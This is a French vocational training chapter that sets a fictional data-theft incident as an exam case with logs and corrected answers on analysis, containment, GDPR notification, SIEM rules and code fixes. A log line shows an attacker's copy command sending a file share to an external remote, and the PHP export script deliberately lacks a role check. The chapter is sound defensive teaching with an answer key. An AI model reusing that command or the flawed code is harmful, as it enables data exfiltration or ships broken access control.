Chapitre 1026 minIntermédiaire
Cas type E7 corrigé : un incident de bout en bout
Par Josselyn C., prof de BTS SIO. Mis à jour le .
À la fin de ce chapitre, tu sauras
- traiter un dossier d'incident comme à l'E7, document par document ;
- répondre en citant les annexes, avec le vocabulaire attendu ;
- enchaîner analyse, confinement, notification et recommandations ;
- repérer les questions propres à l'option SISR et à l'option SLAM.
15 exercices corrigés
Ce chapitre est un sujet d'entraînement au format de l'écrit E7 « Cybersécurité des services informatiques » : un contexte d'organisation, un dossier documentaire et des questions qui couvrent tout le cours, de l'analyse des journaux à la notification. Les dossiers A et B concernent les deux options ; le dossier C est rédigé comme une question de sujet SISR, le dossier D comme une question de sujet SLAM. Les corrigés détaillent le raisonnement attendu. Prévois environ deux heures pour les dossiers A et B et le dossier de ton option. Les documents sont présentés d'abord, comme dans un vrai sujet : lis-les en entier avant de commencer.
Comment aborder un dossier d'incident
- Lis le contexte et tous les documents avant la première question (vingt minutes environ). Note sur chaque document ce qu'il contient : une source de journal, son fuseau horaire, une règle de la politique de sécurité.
- Repère les identifiants qui reviennent : comptes, adresses IP, noms de machines, heures. Ils relient les documents entre eux, et la plupart des réponses se trouvent dans ces liens.
- Réponds en citant les documents : « document 3, 23:52:05, événement 4624 de type 10 ». Une réponse juste mais générique rapporte peu.
- Emploie le vocabulaire exact : qualification, faux positif, indicateur de compromission, confinement, éradication, chaîne de possession, violation de données, registre, notification, critères DIC.
- Fais court et structuré : une conclusion, puis les preuves, puis la recommandation.
Le contexte : Transports Lagarde
Transports Lagarde est une entreprise fictive de transport routier sous température dirigée : 260 salariés, un siège à Mâcon et trois agences. Sa direction des systèmes d'information compte six personnes, dont Nadia Ferhat, responsable de la sécurité des systèmes d'information (RSSI). Tu es technicien ou technicienne en alternance dans cette équipe.
Le système d'information comprend un domaine Active Directory, un serveur de fichiers SRV-FIC (192.168.20.15), un pare-feu pfSense au siège qui fournit aussi l'accès VPN des commerciaux en déplacement, la messagerie Microsoft 365 et une application web d'exploitation, le TMS (gestion des tournées et des clients), développée en interne en PHP avec une base MySQL. Un SIEM Wazuh, installé l'an dernier, reçoit les journaux du pare-feu, des serveurs Windows et du TMS.
Le lundi 2 novembre 2026 à 8 h 15, Thomas Giraud, commercial, appelle le support : plusieurs clients lui demandent pourquoi il leur a envoyé, à 7 h 55, une « facture en attente » avec un lien de paiement. Il n'a rien envoyé. Il ajoute que vendredi après-midi, il a reçu un courriel l'invitant à « confirmer son mot de passe Microsoft 365 avant la fermeture de sa boîte » et qu'il a saisi ses identifiants. Nadia Ferhat est informée à 8 h 40 et te confie l'analyse.
Le dossier documentaire
Document 1 : schéma réseau simplifié (description).
| Réseau | Adresses | Contenu |
|---|---|---|
| VLAN 10, utilisateurs du siège | 192.168.10.0/24 | Postes de travail |
| VLAN 20, serveurs | 192.168.20.0/24 | Contrôleurs de domaine, SRV-FIC (192.168.20.15), serveur de base de données du TMS |
| VLAN 30, DMZ | 192.168.30.0/24 | Serveur web du TMS |
| VPN des nomades | 10.8.0.0/24 | Adresses attribuées aux commerciaux connectés à distance |
Règles du pare-feu : les clients VPN ont accès au VLAN 20 sur tous les ports ; les serveurs du VLAN 20 peuvent joindre Internet en HTTP et HTTPS sans restriction.
Document 2 : extrait du journal VPN du pare-feu (heure de Paris).
1 Oct 29 09:02:44 fw-siege openvpn[31877]: user 't.giraud' address '192.0.2.40:50211' - authenticated
2 Oct 29 09:02:44 fw-siege openvpn[31877]: t.giraud/192.0.2.40:50211 pool returned IPv4=10.8.0.9
3 Oct 29 12:31:05 fw-siege openvpn[31877]: t.giraud/192.0.2.40:50211 client-instance exiting
4 Oct 31 23:47:09 fw-siege openvpn[48211]: 203.0.113.201:51544 TLS: Initial packet from 203.0.113.201:51544
5 Oct 31 23:47:12 fw-siege openvpn[48211]: user 't.giraud' address '203.0.113.201:51544' - authenticated
6 Oct 31 23:47:12 fw-siege openvpn[48211]: t.giraud/203.0.113.201:51544 pool returned IPv4=10.8.0.14
7 Nov 1 02:50:31 fw-siege openvpn[48211]: t.giraud/203.0.113.201:51544 client-instance exiting
L'adresse 192.0.2.40 est celle de la box du domicile de Thomas Giraud. L'adresse 203.0.113.201 est située, selon le SIEM, dans un pays où l'entreprise n'a aucune activité.
Document 3 : extrait du journal Sécurité de SRV-FIC (heure de Paris).
| Date et heure | ID | Compte | Type de session | Adresse source | Détail |
|---|---|---|---|---|---|
| 31/10 23:52:05 | 4624 | t.giraud | 10 | 10.8.0.14 | |
| 31/10 23:58:30 à 01/11 00:19:47 | 4663 (×2 870) | t.giraud | Lecture de fichiers dans D:\Partages\Commercial\ | ||
| 01/11 00:21:02 | 4688 | t.giraud | Processus C:\Users\t.giraud\AppData\Local\Temp\rc.exe, ligne de commande rc.exe copy D:\Partages\Commercial depot:lagarde-7731 --transfers 8 | ||
| 01/11 02:49:15 | 4634 | t.giraud | 10 |
Document 4 : alertes du SIEM Wazuh du week-end.
| Date et heure | Règle | Niveau (0 à 15) | Source | Description | MITRE ATT&CK |
|---|---|---|---|---|---|
| 31/10 23:47 | 100210 | 8 | fw-siege | Connexion VPN depuis un pays inhabituel (t.giraud, 203.0.113.201) | T1078 |
| 31/10 23:52 | 100220 | 6 | SRV-FIC | Ouverture de session à distance (RDP) de t.giraud | T1021.001 |
| 01/11 00:21 | 100240 | 10 | SRV-FIC | Exécutable lancé depuis un dossier temporaire | T1204 |
| 01/11 00:44 | 100305 | 12 | fw-siege | Plus de 1 Go sortant en une heure vers une destination jamais vue (192.168.20.15 vers 198.51.100.88) | T1567 |
Les alertes de niveau 12 et plus sont envoyées par courriel à la boîte securite@, consultée les jours ouvrés.
Document 5 : extrait du journal applicatif du TMS.
{"ts":"2026-10-30T10:14:52+01:00","level":"INFO","event":"CLIENT_EXPORT","user":"n.martin","role":"direction","ip":"192.168.10.21","rows":1842}
{"ts":"2026-11-01T01:08:41+01:00","level":"INFO","event":"LOGIN_OK","user":"t.giraud","role":"commercial","ip":"10.8.0.14"}
{"ts":"2026-11-01T01:10:33+01:00","level":"INFO","event":"CLIENT_EXPORT","user":"t.giraud","role":"commercial","ip":"10.8.0.14","rows":1842}
Document 6 : extrait du journal du pare-feu (heure UTC).
2026-10-31T23:22:04Z pass out TCP 192.168.20.15:49822 -> 198.51.100.88:443
2026-11-01T01:47:30Z close TCP 192.168.20.15:49822 -> 198.51.100.88:443 bytes_out=6658192345
Document 7 : extrait de la politique de sécurité.
- Les comptes d'administration utilisent une authentification à double facteur. Les autres comptes s'authentifient par mot de passe (12 caractères minimum), y compris sur le VPN et sur Microsoft 365.
- Les journaux sont conservés trois mois dans le SIEM.
- Les audits suivants sont activés sur les serveurs : ouvertures de session, gestion des comptes, accès aux fichiers des partages (audit du système de fichiers, avec SACL sur
D:\Partages), création de processus.
Document 8 : contenu du partage Commercial. Propositions commerciales, contrats et tarifs des clients ; fichier des contacts clients (nom, prénom, fonction, courriel et téléphone professionnels des interlocuteurs chez 1 842 entreprises clientes).
Document 9 (dossier D) : code de l'export des clients du TMS.
<?php
// api/clients_export.php : export CSV de la liste des clients
require __DIR__ . '/inc/session.php'; // démarre la session, renvoie 401 si personne n'est connecté
require __DIR__ . '/inc/bdd.php'; // crée $pdo
require __DIR__ . '/inc/journal.php'; // fonction journaliser(evenement, contexte)
$req = $pdo->query('SELECT raison_sociale, contact_nom, contact_prenom, contact_email, contact_tel, ville FROM client');
$clients = $req->fetchAll(PDO::FETCH_ASSOC);
journaliser('CLIENT_EXPORT', ['rows' => count($clients)]); // ajoute user, role et ip
header('Content-Type: text/csv; charset=utf-8');
header('Content-Disposition: attachment; filename="clients.csv"');
$sortie = fopen('php://output', 'w');
fputcsv($sortie, array_keys($clients[0] ?? []));
foreach ($clients as $client) {
fputcsv($sortie, $client);
}
La matrice des habilitations du TMS prévoit que seul le rôle direction peut exporter la liste des clients.
Dossier A : analyse de l'incident
Exercice 1 sur 15 Question A1.1 : qualifier l'alerte Réussi À revoir
Indiquer si l'alerte transmise par Thomas Giraud correspond à un incident de sécurité confirmé ou à un faux positif. Justifier en citant au moins trois éléments du dossier documentaire.
Voir la réponseMasquer la réponse de l'exercice 1
Incident de sécurité confirmé : le compte de Thomas Giraud a été utilisé par un tiers. Éléments :
- document 2, ligne 5 : connexion VPN avec le compte
t.giraudle samedi 31 octobre à 23:47:12 depuis 203.0.113.201, une adresse située dans un pays où l'entreprise n'a aucune activité, alors que ses connexions habituelles viennent de sa box (192.0.2.40, lignes 1 à 3) ; le SIEM l'a signalée (document 4, règle 100210) ; - document 3 : ouverture de session à distance (4624, type 10) sur
SRV-FICdepuis 10.8.0.14, l'adresse VPN attribuée à cette connexion (document 2, ligne 6), puis lecture de 2 870 fichiers du partageCommercialet lancement derc.exedepuis un dossier temporaire avec une commande de copie vers une destination externe ; - document 6 : 6 658 192 345 octets (environ 6,7 Go, soit 6,2 Gio) envoyés de
SRV-FICvers 198.51.100.88 entre 00:22 et 02:47, heure de Paris (le journal est en UTC ; le 1er novembre, Paris est à UTC+1) ; - document 5 : export de la liste des 1 842 clients à 01:10:33 avec le compte
t.girauddepuis 10.8.0.14 ; - contexte : Thomas Giraud a saisi ses identifiants sur une page piégée le vendredi, et des courriels frauduleux sont partis de sa boîte lundi à 7 h 55.
Aucun de ces éléments n'est compatible avec une activité légitime : le samedi à minuit, Thomas Giraud n'était pas connecté depuis l'étranger.
Tu avais trouvé ?
Exercice 2 sur 15 Question A1.2 : reconstituer la chronologie Réussi À revoir
Présenter la chronologie de l'attaque sous forme de tableau (date et heure de Paris, source, fait), du vol des identifiants aux courriels frauduleux.
Voir la réponseMasquer la réponse de l'exercice 2
| Date et heure (Paris) | Source | Fait |
|---|---|---|
| Vendredi 30/10, après-midi | Témoignage de T. Giraud | Saisie de ses identifiants sur une fausse page Microsoft 365 (hameçonnage) |
| Samedi 31/10 23:47:12 | Document 2, lignes 4 à 6 | Connexion VPN avec le compte t.giraud depuis 203.0.113.201 ; adresse 10.8.0.14 attribuée |
| 31/10 23:52:05 | Document 3 | Ouverture de session RDP sur SRV-FIC depuis 10.8.0.14 |
| 31/10 23:58:30 à 01/11 00:19:47 | Document 3 | Lecture de 2 870 fichiers du partage Commercial |
| Dimanche 01/11 00:21:02 | Documents 3 et 4 | Lancement de rc.exe, outil de copie, depuis le dossier temporaire du profil |
| 01/11 00:22:04 à 02:47:30 | Documents 6 et 4 | Envoi d'environ 6,7 Go (6,2 Gio) de SRV-FIC vers 198.51.100.88 (heures converties depuis l'UTC) |
| 01/11 01:08:41 et 01:10:33 | Document 5 | Connexion au TMS, puis export de la liste des 1 842 clients |
| 01/11 02:49:15 | Document 3 | Fermeture de la session RDP |
| 01/11 02:50:31 | Document 2, ligne 7 | Fin de la connexion VPN |
| Lundi 02/11 07:55 | Contexte | Courriels frauduleux envoyés aux clients depuis la boîte de T. Giraud |
| 02/11 08:15 | Contexte | Signalement au support |
| 02/11 08:40 | Contexte | RSSI informée : prise de connaissance de l'incident |
Tu avais trouvé ?
Exercice 3 sur 15 Question A1.3 : vecteur d'attaque et faiblesses Réussi À revoir
Identifier le vecteur d'accès initial, puis relever trois faiblesses du système d'information qui ont facilité l'attaque.
Voir la réponseMasquer la réponse de l'exercice 3
Vecteur d'accès initial : l'hameçonnage. L'attaquant a obtenu le mot de passe de Thomas Giraud par une fausse page de connexion Microsoft 365, puis l'a utilisé sur le VPN (le même compte de l'annuaire sert pour la messagerie et le VPN). C'est l'utilisation d'un compte valide (MITRE T1078).
Faiblesses (trois parmi) :
- pas de double authentification pour les comptes non administrateurs, ni sur le VPN ni sur Microsoft 365 (document 7) : le mot de passe seul suffisait ;
- les clients VPN accèdent à tout le VLAN des serveurs, sur tous les ports (document 1) : un commercial n'a aucun besoin d'ouvrir une session RDP sur le serveur de fichiers ;
- les serveurs joignent Internet sans restriction (document 1) : rien n'empêchait
SRV-FICd'envoyer 6,7 Go vers une destination inconnue ; - les alertes ne sont lues que les jours ouvrés (document 4) : l'alerte de niveau 12 de 00:44 est restée sans réponse pendant près de 32 heures, et les alertes de niveau inférieur ne sont pas notifiées du tout ;
- le TMS n'applique pas sa matrice d'habilitations : un commercial a pu exporter toute la liste des clients (documents 5 et 9).
Tu avais trouvé ?
Exercice 4 sur 15 Question A1.4 : critères de sécurité Réussi À revoir
Indiquer, en justifiant, les critères de sécurité (disponibilité, intégrité, confidentialité, preuve) atteints par l'incident.
Voir la réponseMasquer la réponse de l'exercice 4
- Confidentialité : atteinte, c'est l'impact principal. Les fichiers du partage
Commercial(contrats, tarifs, contacts) ont été copiés vers l'extérieur et la liste des clients exportée. - Intégrité : atteinte au sens de l'authenticité des échanges : des courriels frauduleux ont été envoyés au nom de Thomas Giraud depuis sa vraie boîte, ce qui trompe les clients. Aucune modification des fichiers n'est constatée à ce stade.
- Disponibilité : non atteinte : aucun service n'a été interrompu.
- Preuve : préservée grâce à la journalisation centralisée : chaque étape est tracée, avec le compte, l'adresse et l'heure. Mais l'imputabilité montre ses limites : les actions sont attribuées au compte de Thomas Giraud alors qu'il n'en est pas l'auteur, ce que seule l'analyse de l'adresse source et du contexte permet d'établir.
Tu avais trouvé ?
Exercice 5 sur 15 Question A2.1 : confinement Réussi À revoir
Proposer quatre actions de confinement à mener immédiatement. Justifier chacune.
Voir la réponseMasquer la réponse de l'exercice 5
Quatre parmi :
- Désactiver le compte
t.girauddans l'annuaire, réinitialiser son mot de passe et révoquer ses sessions ouvertes dans Microsoft 365 : l'attaquant utilise encore la boîte (courriels de 7 h 55). Vérifier et supprimer les règles de transfert ou de suppression qu'il a pu créer dans la boîte pour cacher les réponses des clients. - Bloquer sur le pare-feu les adresses 203.0.113.201 (connexion VPN) et 198.51.100.88 (destination de l'exfiltration), et fermer toute connexion VPN en cours de ce compte.
- Prévenir les clients destinataires des courriels frauduleux de ne pas cliquer ni payer, et retirer ces messages des boîtes internes s'ils y ont été envoyés : la fraude est en cours.
- Restreindre en urgence l'accès VPN au VLAN des serveurs (plus de RDP depuis le réseau des nomades vers les serveurs, sauf comptes d'administration) et bloquer les flux sortants de
SRV-FICvers Internet. - Rechercher les mêmes indicateurs de compromission (adresses, nom
rc.exe, connexions VPN depuis des pays inhabituels) pour les autres comptes et serveurs, afin de vérifier que l'attaque ne s'est pas étendue.
Tu avais trouvé ?
Exercice 6 sur 15 Question A2.2 : préserver les preuves Réussi À revoir
Un collègue propose de réinstaller SRV-FIC immédiatement « pour être sûr qu'il est propre ». Donner ton avis, puis décrire comment préserver les preuves.
Voir la réponseMasquer la réponse de l'exercice 6
Avis : non. La réinstallation détruirait les traces de l'attaque sur le serveur (fichier rc.exe, sa configuration, qui contient peut-être les identifiants du dépôt de l'attaquant, l'historique de la session, la mémoire), utiles à l'enquête, à la plainte et à l'assureur. Elle n'est d'ailleurs pas justifiée à ce stade : l'attaquant a utilisé un compte sans privilège d'administration, et rien n'indique une compromission du système lui-même. On vérifie d'abord l'absence de persistance (tâches planifiées, services, comptes créés) avant de décider.
Préserver :
- prendre un instantané de la machine virtuelle
SRV-FICavec sa mémoire, ou une capture de la mémoire puis une image du disque ; - exporter depuis le SIEM les journaux du pare-feu, de
SRV-FICet du TMS sur la période, et copierrc.exeet son fichier de configuration ; - calculer l'empreinte SHA-256 de chaque élément au moment de la collecte et la noter ;
- tenir la chaîne de possession (qui a collecté quoi, quand, avec quel outil, où c'est stocké, à qui c'est remis) ;
- tout consigner dans la main courante ;
- conserver aussi les journaux de Microsoft 365 (connexions, règles de boîte, messages envoyés), dont la durée de conservation est limitée.
Tu avais trouvé ?
Dossier B : obligations et communication
Exercice 7 sur 15 Question B1.1 : obligations légales Réussi À revoir
Déterminer, en justifiant, les obligations de Transports Lagarde au regard du RGPD, et les autres démarches à mener.
Voir la réponseMasquer la réponse de l'exercice 7
Y a-t-il une violation de données personnelles ? Oui. Le fichier des contacts clients (document 8) contient les noms, prénoms, fonctions, courriels et téléphones des interlocuteurs de 1 842 entreprises : ce sont des données personnelles, même dans un contexte professionnel. Elles ont été copiées et exportées par un tiers : violation de confidentialité (article 4 du RGPD).
Obligations :
- inscrire la violation au registre des violations (article 33, paragraphe 5), comme toute violation ;
- notifier la CNIL dans les 72 heures après la prise de connaissance (article 33) : le risque pour les personnes n'est pas improbable, il est déjà réalisé, puisque des courriels frauduleux visent ces contacts ;
- informer les personnes concernées dans les meilleurs délais (article 34) : le risque est élevé (hameçonnage et fraude au paiement en cours, avec des messages crédibles envoyés depuis la vraie boîte d'un commercial). Aucune exception ne s'applique (données non chiffrées). L'information individuelle est réaliste (les adresses sont connues).
Autres démarches : porter plainte (accès frauduleux à un système, articles 323-1 et suivants du Code pénal), au plus tard 72 heures après la connaissance de l'atteinte si l'entreprise veut être indemnisée par son assureur (article L12-10-1 du Code des assurances) ; déclarer le sinistre à l'assureur ; s'informer et se faire aider via 17Cyber ou le CSIRT régional. Le dossier n'indique pas que Transports Lagarde soit OIV ou OSE : à défaut, pas d'obligation de déclaration à l'ANSSI à ce jour. Au 1er novembre 2026, la loi qui transpose NIS 2 n'est pas adoptée ; une fois qu'elle sera en vigueur, il faudra vérifier si l'entreprise entre dans son champ (secteur d'activité et taille), auquel cas elle devra signaler ses incidents importants sous 24 heures, puis 72 heures.
Tu avais trouvé ?
Exercice 8 sur 15 Question B1.2 : l'échéance Réussi À revoir
Indiquer la date et l'heure limites de la notification à la CNIL. Discuter le choix du point de départ.
Voir la réponseMasquer la réponse de l'exercice 8
Si l'on retient comme point de départ la prise de connaissance par la RSSI, le lundi 2 novembre 2026 à 8 h 40, l'échéance est le jeudi 5 novembre 2026 à 8 h 40.
Discussion : le SIEM a signalé l'exfiltration dès le dimanche à 0 h 44 (alerte de niveau 12, document 4), mais personne ne l'a lue. Le délai court à partir du moment où l'organisation a pris connaissance de la violation avec un degré raisonnable de certitude : une alerte non lue n'est pas une prise de connaissance, mais un contrôle pourrait reprocher à l'entreprise de ne pas s'être organisée pour traiter ses alertes. La prudence commande de notifier sans attendre, dès le lundi ou le mardi, quitte à compléter ensuite, et d'expliquer le délai de détection dans la notification.
Tu avais trouvé ?
Exercice 9 sur 15 Question B1.3 : la synthèse pour la direction Réussi À revoir
Rédiger la synthèse du rapport d'incident destinée à la direction générale (huit lignes au plus).
Voir la réponseMasquer la réponse de l'exercice 9
Proposition :
« Dans la nuit du 31 octobre au 1er novembre, un attaquant a utilisé le mot de passe de Thomas Giraud, volé vendredi par un faux courriel Microsoft 365, pour se connecter au VPN depuis l'étranger. Il a copié près de 7 Go de documents commerciaux (contrats, tarifs) et la liste des contacts de nos 1 842 clients, puis a envoyé lundi matin de fausses factures à des clients depuis la boîte de M. Giraud. Le compte est bloqué, les adresses de l'attaquant aussi, les clients sont prévenus. Il s'agit d'une violation de données personnelles : nous notifions la CNIL avant jeudi 8 h 40 et déposons plainte aujourd'hui. Causes : pas de double authentification sur le VPN et la messagerie, accès trop large du VPN aux serveurs, alertes non surveillées le week-end. Décisions attendues : généraliser la double authentification et organiser le traitement des alertes hors des heures ouvrées. »
Tu avais trouvé ?
Dossier C (SISR) : renforcer la détection et l'infrastructure
Exercice 10 sur 15 Question C1.1 : une règle de corrélation Réussi À revoir
Proposer une règle de corrélation pour le SIEM qui aurait détecté cette attaque plus tôt et avec une gravité adaptée. Préciser comment l'alerte doit être traitée la nuit et le week-end.
Voir la réponseMasquer la réponse de l'exercice 10
Règle : une connexion VPN réussie depuis un pays inhabituel ou depuis une adresse jamais vue pour ce compte, suivie dans les 30 minutes d'une ouverture de session à distance (4624 de type 10) sur un serveur avec le même compte, déclenche une alerte critique (niveau 12 ou plus). La gravité monte encore si elle est suivie d'un volume sortant anormal depuis ce serveur.
Prise isolément, chaque étape n'est qu'un signal faible (niveaux 6 et 8 dans le document 4) ; c'est leur enchaînement, avec le même compte et l'adresse VPN qui fait le lien, qui caractérise l'attaque.
Traitement : les alertes critiques ne doivent pas arriver seulement dans une boîte aux lettres lue les jours ouvrés. Il faut une astreinte (notification par SMS ou appel) ou un SOC externalisé qui surveille en continu, avec une procédure écrite : qui qualifie, qui peut désactiver un compte ou couper un accès VPN la nuit, qui prévenir.
Tu avais trouvé ?
Exercice 11 sur 15 Question C1.2 : syslog Réussi À revoir
Le pare-feu envoie les événements d'authentification VPN au collecteur avec la catégorie local3 (code 19) et la gravité notice.
a) Calculer la priorité syslog de ces messages.
b) Le collecteur doit aussi recevoir tous les messages d'authentification (auth) de gravité warning ou plus grave. Écrire le sélecteur correspondant.
c) Expliquer pourquoi ces journaux doivent être transmis en syslog sur TLS plutôt qu'en UDP.
Voir la réponseMasquer la réponse de l'exercice 11
a) Priorité = catégorie × 8 + gravité = 19 × 8 + 5 = 157.
b) auth.warning : sans le signe =, le sélecteur prend la gravité warning et toutes les plus graves (err, crit, alert, emerg).
c) En UDP, syslog n'a ni accusé de réception, ni chiffrement, ni authentification : des événements peuvent être perdus (perte de disponibilité de la trace), lus sur le réseau (les noms des comptes et les adresses circulent en clair) ou falsifiés par un tiers qui envoie de faux messages (perte d'intégrité, preuves contestables). Syslog sur TLS (port 6514) garantit la livraison grâce à TCP, chiffre les échanges et authentifie l'émetteur et le collecteur par certificats.
Tu avais trouvé ?
Exercice 12 sur 15 Question C1.3 : renforcer l'infrastructure Réussi À revoir
Proposer trois mesures techniques d'infrastructure qui auraient empêché ou limité cette attaque. Justifier chacune en la reliant à une étape de l'attaque.
Voir la réponseMasquer la réponse de l'exercice 12
Trois parmi :
- Double authentification sur le VPN et sur Microsoft 365 pour tous les comptes (étape : accès initial). Le mot de passe volé n'aurait pas suffi. Pour la messagerie, des méthodes résistantes à l'hameçonnage (clés de sécurité, passkeys) évitent aussi le vol des codes à usage unique par une page piégée.
- Filtrage entre le réseau VPN et les serveurs (étape : mouvement vers le serveur de fichiers). Les commerciaux n'ont besoin que du TMS et de quelques partages, en SMB ; le RDP vers les serveurs doit être réservé aux comptes d'administration, depuis le VLAN d'administration. Application du principe du moindre privilège au réseau.
- Filtrage des flux sortants des serveurs (étape : exfiltration). Un serveur de fichiers n'a pas à joindre n'importe quelle adresse en HTTPS ; ses mises à jour passent par un proxy ou un serveur de mises à jour interne. Les 6,7 Go n'auraient pas pu sortir.
- Restriction géographique ou par adresse des connexions VPN, et accès conditionnel sur Microsoft 365 (étape : accès initial) : refuser les connexions depuis les pays où l'entreprise n'opère pas, ou exiger une vérification supplémentaire.
- Blocage de l'exécution depuis les dossiers temporaires des profils sur les serveurs (étape : installation de l'outil de copie), par une stratégie de contrôle des applications.
Tu avais trouvé ?
Dossier D (SLAM) : sécuriser l'application TMS
Exercice 13 sur 15 Question D1.1 : analyser le code Réussi À revoir
À partir du document 9, expliquer la faille qui a permis à un compte commercial d'exporter la liste des clients. Indiquer la catégorie correspondante du Top 10 de l'OWASP.
Voir la réponseMasquer la réponse de l'exercice 13
Le script vérifie seulement qu'un utilisateur est connecté (session.php renvoie 401 sinon), mais jamais son rôle. Or la matrice des habilitations réserve l'export au rôle direction. N'importe quel compte authentifié, ici un commercial dont le mot de passe a été volé, peut donc appeler api/clients_export.php et récupérer toute la liste. C'est un contrôle d'accès défaillant : authentification n'est pas autorisation.
Catégorie OWASP : A01, contrôle d'accès défaillant (Broken Access Control), en tête du Top 10 de l'OWASP (sécurité des applications).
Le journal fonctionne (document 5 : il a permis de voir l'export, avec le compte, le rôle et l'adresse), mais rien ne réagit : un export complet par un rôle non autorisé aurait dû être refusé et déclencher une alerte.
Tu avais trouvé ?
Exercice 14 sur 15 Question D1.2 : corriger le code Réussi À revoir
Modifier le script pour que seul le rôle direction puisse exporter, que tout refus soit journalisé et que la réponse soit adaptée. Indiquer seulement les lignes ajoutées et l'endroit où elles s'insèrent. On suppose que le rôle de l'utilisateur connecté est dans $_SESSION['role'].
Voir la réponseMasquer la réponse de l'exercice 14
À insérer juste après les trois require, avant la requête SQL :
// Contrôle d'accès : seul le rôle direction peut exporter la liste des clients
if (($_SESSION['role'] ?? '') !== 'direction') {
journaliser('CLIENT_EXPORT_DENIED', ['reason' => 'role']); // ajoute user, role et ip
http_response_code(403);
exit('Accès refusé');
}
Points attendus :
- la vérification se fait côté serveur, à chaque appel, avant toute lecture de données ;
- le refus renvoie le code 403 (interdit), et non 401 : l'utilisateur est authentifié mais pas autorisé ;
- le refus est journalisé avec un événement distinct (
CLIENT_EXPORT_DENIED), sur lequel le SIEM peut poser une alerte : plusieurs refus d'affilée sont un signal d'attaque ; - le rôle est lu dans la session, jamais dans un paramètre envoyé par le client (
$_GET['role']serait trivial à falsifier).
Amélioration possible : une ré-authentification avant un export complet et une limite du nombre d'exports par jour.
Tu avais trouvé ?
Exercice 15 sur 15 Question D1.3 : surveiller les exports en SQL Réussi À revoir
Le TMS enregistre aussi ses événements dans une table MySQL :
journal_appli (id, date_heure, evenement, login, role, ip, nb_lignes)
a) Écrire la requête qui liste, pour les sept derniers jours, les comptes qui ont exporté la liste des clients sans avoir le rôle direction, avec le nombre d'exports et le total de lignes exportées.
b) Écrire la requête qui compte les connexions réussies (LOGIN_OK) au TMS depuis le réseau VPN (10.8.0.0/24) entre 22 h et 6 h, par compte, sur le mois en cours.
Voir la réponseMasquer la réponse de l'exercice 15
a)
SELECT login, role, COUNT(*) AS nb_exports, SUM(nb_lignes) AS total_lignes
FROM journal_appli
WHERE evenement = 'CLIENT_EXPORT'
AND role <> 'direction'
AND date_heure >= NOW() - INTERVAL 7 DAY
GROUP BY login, role;
b)
SELECT login, COUNT(*) AS nb_connexions
FROM journal_appli
WHERE evenement = 'LOGIN_OK'
AND ip LIKE '10.8.0.%'
AND (HOUR(date_heure) >= 22 OR HOUR(date_heure) < 6)
AND date_heure >= DATE_FORMAT(CURDATE(), '%Y-%m-01')
GROUP BY login;
Dans b), la plage de nuit chevauche minuit : il faut un OR (après 22 h ou avant 6 h), un BETWEEN 22 AND 6 ne renverrait rien. DATE_FORMAT(CURDATE(), '%Y-%m-01') donne le premier jour du mois en cours. Le filtre LIKE '10.8.0.%' correspond exactement au réseau 10.8.0.0/24 puisque les adresses y vont de 10.8.0.0 à 10.8.0.255.
Tu avais trouvé ?
Ce que le correcteur attend
Utilise cette liste pour relire tes réponses :
- chaque affirmation s'appuie sur un document cité (numéro, ligne ou heure) ;
- les heures sont converties dans un même fuseau (le journal du pare-feu est en UTC) ;
- l'incident est qualifié avec le bon vocabulaire (incident confirmé, indicateurs, critères DIC) ;
- les mesures de confinement préservent les preuves ;
- les obligations légales sont justifiées : données personnelles, type de violation, niveau de risque, articles 33 et 34 du RGPD, délai de 72 heures, registre, plainte ;
- les mesures proposées sont reliées à une étape de l'attaque et au contexte de l'entreprise, pas récitées ;
- le code et le SQL sont exacts et ciblés : seulement les lignes demandées, à l'endroit indiqué.
Pour aller plus loin. La méthode complète de l'écrit, les annales classées par thème et deux épreuves blanches par option sont dans les cours Épreuve E7 SLAM et Épreuve E7 SISR.